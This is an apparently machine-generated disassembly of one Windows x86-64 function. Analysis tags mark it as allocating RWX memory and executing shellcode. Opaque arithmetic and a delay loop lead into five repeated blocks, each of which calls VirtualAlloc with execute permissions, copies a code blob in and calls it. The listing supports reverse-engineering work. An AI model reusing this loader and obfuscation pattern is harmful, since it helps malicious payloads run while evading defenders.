Function at 0x1400797f0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov rax, qword [0x1402a0ec0]
xor rax, rsp
mov qword [rbp - 8], rax
xor edi, edi
call fcn.1400752e4
movsx ebx, al
call fcn.1400752e8
movsx ecx, al
imul ebx, ecx
call fcn.1400752f4
movsx esi, al
imul r12d, ebx, 7
add r12d, esi
lea r13d, [rsi + rbx*4]
mov r15d, dword [rbp - 0x1c]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r12d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [reloc.WS2_32.dll_getsockopt]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [reloc.WS2_32.dll_closesocket]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rbp - 0x50], xmm1
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, r13d
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x1400798fe
call fcn.1400752ec
movsx edx, al
movsx eax, byte [0x1402a1e80]
imul edx, eax
lea r8d, [rdx + rdx*8]
call fcn.1400752f8
movsx ecx, al
sub r8d, ecx
call fcn.1400752f0
movsx ecx, al
add r8d, ecx
movsx ecx, byte [reloc.WS2_32.dll_closesocket]
add ecx, r8d
je 0x1400798fe
mov r15d, 4
jmp 0x140079958
lea edx, [rbx + rbx*2]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
cmp eax, ecx
je 0x140079958
lea edx, [rbx + rbx*4]
movsx eax, byte [reloc.WS2_32.dll_htons]
add eax, esi
lea eax, [rax + rdx*2]
movsx ecx, byte [reloc.WS2_32.dll_htonl]
xor edx, edx
div ecx
movsx ecx, byte [reloc.WS2_32.dll_accept]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rbp - 0x50]
cvttsd2si r15d, xmm0
cmp edi, r15d
jge 0x140079975
mov r14d, reloc.WLDAP32.dll_Ordinal_200
call fcn.1400be1c8
sub r14, 1
jne 0x140079963
inc edi
jmp 0x140079849
mov eax, dword [rbp - 0x20]
and eax, 0xfffffff7
or eax, 7
mov dword [rbp - 0x20], eax
mov r12d, 1
mov dword [rbp - 0x18], r12d
mov dword [rbp - 0x14], 7
lea esi, [r12 + 2]
mov dword [rbp - 0x10], esi
mov dword [rbp - 0x1c], r12d
mov rbx, qword [0x1402a1ea8]
mov qword [rbp - 0x48], 4
lea rax, [rbp - 0x20]
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x50], r12d
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
lea rax, [rbp + 0x28]
movabs r13, 0xff00ff00ff00ff07
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], rax
mov rdi, qword [rax]
xor rdi, r13
mov qword [rbp - 0x38], rdi
xor r14d, r14d
mov qword [rax], r14
mov ecx, r14d
lea rdx, [0x140076ef8]
lea r15, [0x140000000]
mov rax, qword [0x1402a1ec0]
test rax, rax
je 0x140079a31
mov r10d, r14d
cmp rax, rdx
je 0x140079a20
add ecx, r12d
mov r10d, ecx
mov rax, qword [r15 + rcx*8 + 0x2a1ec0]
test rax, rax
jne 0x140079a06
jmp 0x140079a31
mov r10, qword [r15 + r10*8 + 0x2a21e0]
test r10, r10
jne 0x140079b15
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
lea r9, [0x140076ef8]
test rax, rax
jne 0x140079a5f
mov r10, r14
jmp 0x140079af4
mov rax, r9
mov rcx, r10
mov rdx, rsi
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x140079a6e
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402a1eb0]
mov qword [r15 + rax*8 + 0x2a1ec0], r9
mov qword [r15 + rax*8 + 0x2a21e0], r10
add rax, r12
mov qword [0x1402a1eb0], rax
lea r9, [rbp - 0x48]
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x50]
mov rcx, rbx
call r10
nop
xor rdi, r13
lea rax, [rbp + 0x28]
mov qword [rax], rdi
mov rbx, qword [0x1402a1ea8]
mov qword [rbp - 0x40], 4
lea rax, [rbp - 0x18]
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x50], 8
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
lea rax, [rbp + 0x28]
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], rax
xor rdi, r13
mov qword [rbp - 0x38], rdi
mov qword [rax], r14
mov ecx, r14d
lea rdx, [0x140076ef8]
mov rax, qword [0x1402a2510]
test rax, rax
je 0x140079bb1
mov r10, r14
cmp rax, rdx
je 0x140079ba0
add ecx, r12d
mov r10d, ecx
mov rax, qword [r15 + rcx*8 + 0x2a2510]
test rax, rax
jne 0x140079b86
jmp 0x140079bb1
mov r10, qword [r15 + r10*8 + 0x2a2830]
test r10, r10
jne 0x140079c95
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
lea r9, [0x140076ef8]
test rax, rax
jne 0x140079bdf
mov r10, r14
jmp 0x140079c74
mov rax, r9
mov rcx, r10
mov rdx, rsi
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x140079bee
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402a2500]
mov qword [r15 + rax*8 + 0x2a2510], r9
mov qword [r15 + rax*8 + 0x2a2830], r10
add rax, r12
mov qword [0x1402a2500], rax
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x50]
mov rcx, rbx
call r10
nop
xor rdi, r13
lea rax, [rbp + 0x28]
mov qword [rax], rdi
mov rbx, qword [0x1402a1ea8]
mov qword [rbp - 0x40], 4
lea rax, [rbp - 0x14]
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x50], 0xa
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
lea rax, [rbp + 0x28]
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], rax
xor rdi, r13
mov qword [rbp - 0x38], rdi
mov qword [rax], r14
mov ecx, r14d
lea rdx, [0x140076ef8]
mov rax, qword [0x1402a2b60]
test rax, rax
je 0x140079d31
mov r10, r14
cmp rax, rdx
je 0x140079d20
add ecx, r12d
mov r10d, ecx
mov rax, qword [r15 + rcx*8 + 0x2a2b60]
test rax, rax
jne 0x140079d06
jmp 0x140079d31
mov r10, qword [r15 + r10*8 + 0x2a2e80]
test r10, r10
jne 0x140079e15
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
lea r9, [0x140076ef8]
test rax, rax
jne 0x140079d5f
mov r10, r14
jmp 0x140079df4
mov rax, r9
mov rcx, r10
mov rdx, rsi
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x140079d6e
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402a2b50]
mov qword [r15 + rax*8 + 0x2a2b60], r9
mov qword [r15 + rax*8 + 0x2a2e80], r10
add rax, r12
mov qword [0x1402a2b50], rax
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x50]
mov rcx, rbx
call r10
nop
xor rdi, r13
lea rax, [rbp + 0x28]
mov qword [rax], rdi
mov rbx, qword [0x1402a1ea8]
mov qword [rbp - 0x40], 4
lea rax, [rbp - 0x10]
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x50], esi
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
lea rax, [rbp + 0x28]
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], rax
xor rdi, r13
mov qword [rbp - 0x38], rdi
mov qword [rax], r14
mov ecx, r14d
lea rdx, [0x140076ef8]
mov rax, qword [0x1402a31b0]
test rax, rax
je 0x140079ead
mov r10, r14
cmp rax, rdx
je 0x140079e9c
add ecx, r12d
mov r10d, ecx
mov rax, qword [r15 + rcx*8 + 0x2a31b0]
test rax, rax
jne 0x140079e82
jmp 0x140079ead
mov r10, qword [r15 + r10*8 + 0x2a34d0]
test r10, r10
jne 0x140079f91
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
lea r9, [0x140076ef8]
test rax, rax
jne 0x140079edb
mov r10, r14
jmp 0x140079f70
mov rax, r9
mov rcx, r10
mov rdx, rsi
mov r8d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r8
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r8
sub rdx, 1
jne 0x140079eea
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402a31a0]
mov qword [r15 + rax*8 + 0x2a31b0], r9
mov qword [r15 + rax*8 + 0x2a34d0], r10
add rax, r12
mov qword [0x1402a31a0], rax
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x50]
mov rcx, rbx
call r10
nop
xor rdi, r13
lea rax, [rbp + 0x28]
mov qword [rax], rdi
mov rbx, qword [0x1402a1ea8]
mov qword [rbp - 0x40], 4
lea rax, [rbp - 0x1c]
mov qword [rbp - 0x48], rax
mov dword [rbp - 0x50], 9
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
lea rax, [rbp + 0x28]
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], rax
xor rdi, r13
mov qword [rbp - 0x38], rdi
mov qword [rax], r14
mov ecx, r14d
lea rdx, [0x140076ef8]
mov rax, qword [0x1402a3800]
test rax, rax
je 0x14007a02d
mov r10, r14
cmp rax, rdx
je 0x14007a01c
add ecx, r12d
mov r10d, ecx
mov rax, qword [r15 + rcx*8 + 0x2a3800]
test rax, rax
jne 0x14007a002
jmp 0x14007a02d
mov r10, qword [r15 + r10*8 + 0x2a3b20]
test r10, r10
jne 0x14007a10d
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
lea r8, [0x140076ef8]
test rax, rax
jne 0x14007a05b
mov r10, r14
jmp 0x14007a0ec
mov rax, r8
mov rcx, r10
mov edx, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, rdx
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, rdx
sub rsi, 1
jne 0x14007a066
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402a37f0]
mov qword [r15 + rax*8 + 0x2a3800], r8
mov qword [r15 + rax*8 + 0x2a3b20], r10
add rax, r12
mov qword [0x1402a37f0], rax
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x48]
lea rdx, [rbp - 0x50]
mov rcx, rbx
call r10
nop
xor rdi, r13
lea rax, [rbp + 0x28]
mov qword [rax], rdi
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14012ce10
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret